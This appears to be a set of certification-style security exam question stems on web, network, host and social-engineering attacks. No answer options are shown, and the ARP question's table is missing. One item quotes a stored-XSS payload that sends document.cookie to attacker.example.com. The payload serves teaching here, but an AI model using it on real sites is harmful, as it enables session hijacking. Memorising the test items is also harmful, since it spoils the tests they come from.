Threats, Vulnerabilities, and Mitigations

A security team conducts an audit on a cloud-native microservices application and identifies two critical software defects in the API gateway:

1. An endpoint accepts user-supplied URL parameters to fetch remote image assets, allowing an attacker to compel the server to send HTTP requests to internal cloud metadata IP addresses ($169.254.169.254$).
2. Logged-in users can view and update other customers' private profile records simply by altering an account ID integer in the request parameters.

Which of the following vulnerability classifications and remediation strategies correctly address these security findings? (Select TWO).

During a threat hunting exercise, a security analyst inspects packet captures from an internal network switch interface. The analyst notes Ethernet frames containing nested 802.1Q encapsulation headers, where the outer VLAN tag matches the native VLAN ID of the trunk interface (VLAN 20) and the inner VLAN tag targets an isolated database subnet (VLAN 100). Which of the following network attacks do these frame characteristics indicate?

A security analyst reviews web application request logs following a security alert. The log entry shows the following payload submitted via an unauthenticated user comment field:

`comment=<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>`

Which of the following vulnerabilities is present in the application, and which remediation control best resolves the root cause?

During a post-incident review, a security analyst discovers that an attacker who gained initial access through a compromised web application loaded a custom Loadable Kernel Module (LKM) to establish a rootkit and achieve kernel-level persistence on a production Linux server. Which host hardening practice provides the MOST effective mitigation to prevent unauthorized kernel module execution?

A security analyst is investigating several network and wireless security alerts recorded across an enterprise network. Match each observed technical attack indicator with its corresponding attack classification.

A security team is updating enterprise host hardening standards to prevent unauthorized software execution and mitigate memory corruption exploits on administrative workstations. Which TWO host hardening controls should the security team implement to achieve these objectives?

A network security administrator investigates SIEM alerts after several workstation users report reaching an untrusted website when typing the domain name of an internal portal. Inspection of logs from the primary recursive DNS resolver reveals thousands of unsolicited UDP port $53$ response packets arriving within a fraction of a second. These responses contain forged IP address mappings for the internal portal domain and attempt to match outgoing query transaction IDs ($TXIDs$) before the legitimate authoritative server replies. Which of the following network attacks is indicated by these log entries?

A network security administrator is investigating reports of intermittent network interception on a local subnet. Upon inspecting the ARP table of a target workstation, the administrator records the following entry state:

Where 192.168.1.1 is the default gateway and 192.168.1.105 belongs to an unauthorized host on the network. Which of the following attack types is indicated by these findings?

A manufacturing company relies on legacy operational technology (OT) workstations to manage assembly line machinery. Because these systems run specialized software on an outdated operating system that cannot receive vendor security updates, the security team must harden the workstations without disrupting continuous operations. The primary requirement is to block unauthorized executable files and unapproved dynamic-link libraries (DLLs) from running on the systems. Which of the following host hardening strategies is MOST effective for this requirement?

During a financial audit of a modern web application, security engineers discover that concurrent asynchronous POST requests to the payment endpoint allow users to apply a single-use promotional credit code multiple times simultaneously before the database updates the credit balance to zero. Which of the following application vulnerabilities is being exploited in this scenario?

A security analyst reviews alert logs from a Wireless Intrusion Detection System (WIDS) deployed at a corporate headquarters. The WIDS flagged an anomaly where a single access point MAC address is sending immediate 802.11 Probe Response frames to every nearby device broadcasting Probe Requests, automatically matching whatever Service Set Identifier (SSID) the client requests—including 'Airport_Free_WiFi', 'Hotel_Guest', and 'Home_Network'. Which of the following attack types is indicated by this wireless behavior?

During a security review of a custom web reporting service, a security analyst identifies two distinct software vulnerabilities: dynamic user input in the template string parameter is evaluated directly by the rendering engine allowing remote code execution, and un-sanitized file path inputs allow accessing arbitrary system files outside the web root. Which of the following remediation strategies should the development team implement to mitigate these specific vulnerabilities? (Select TWO.)

During an enterprise security audit, an incident response team identifies four distinct technical indicators across wireless and wired network segments. Match each observed technical anomaly on the left to its corresponding attack classification on the right.

During a security assessment of a legacy network daemon written in C, security engineers identify that user-supplied input is copied directly into a fixed-size stack buffer using the `strcpy()` function without length checking. A junior developer proposes deploying a Web Application Firewall (WAF) to filter incoming traffic as the primary remediation. Which statement best evaluates the proposed solution and identifies the most effective remediation?

A security analyst reviews packet capture metrics following reports of intermittent traffic manipulation on a corporate wireless network. The packet capture reveals unexpected network protocol behavior during client IP address assignment. Which TWO of the following indicators specifically point to a rogue DHCP server attack on the network? (Select TWO.)

An organization discovers that several employees received fraudulent text messages on their personal mobile devices claiming an urgent security update is required for their corporate email access, directing them to a credential-harvesting site. At the same time, an unauthorized individual attempted to enter the facility by closely following an authorized worker through a secure entrance. Which of the following social engineering vectors are demonstrated in these scenarios? (Select TWO.)

A sales manager receives a phone call from an individual claiming to be an internal IT technician conducting an audit of remote working software. The caller convinces the manager to reveal their account security answers by presenting a fabricated scenario of mandatory system compliance. Which of the following social engineering techniques did the caller perform?

A security analyst is conducting a awareness session regarding telecommunications-based threat vectors. Which of the following social engineering attacks specifically rely on voice phone calls or cellular text messages as their primary delivery vector? (Select TWO.)

An enterprise security analyst investigates an incident where several corporate accounts were compromised. The investigation reveals that employees received text messages on their mobile devices directing them to a fake login site to verify credentials. Additionally, the attacker placed phone calls to affected staff while pretending to be internal IT personnel to convince them to approve multi-factor authentication (MFA) push notifications. Which of the following social engineering attack vectors were directly executed in this campaign? (Select TWO.)

A customer service representative receives an incoming telephone call from an individual claiming to be an internal network administrator. The caller states that an urgent system maintenance procedure requires the representative to verbally confirm their network login credentials. Which of the following social engineering attack vectors is occurring?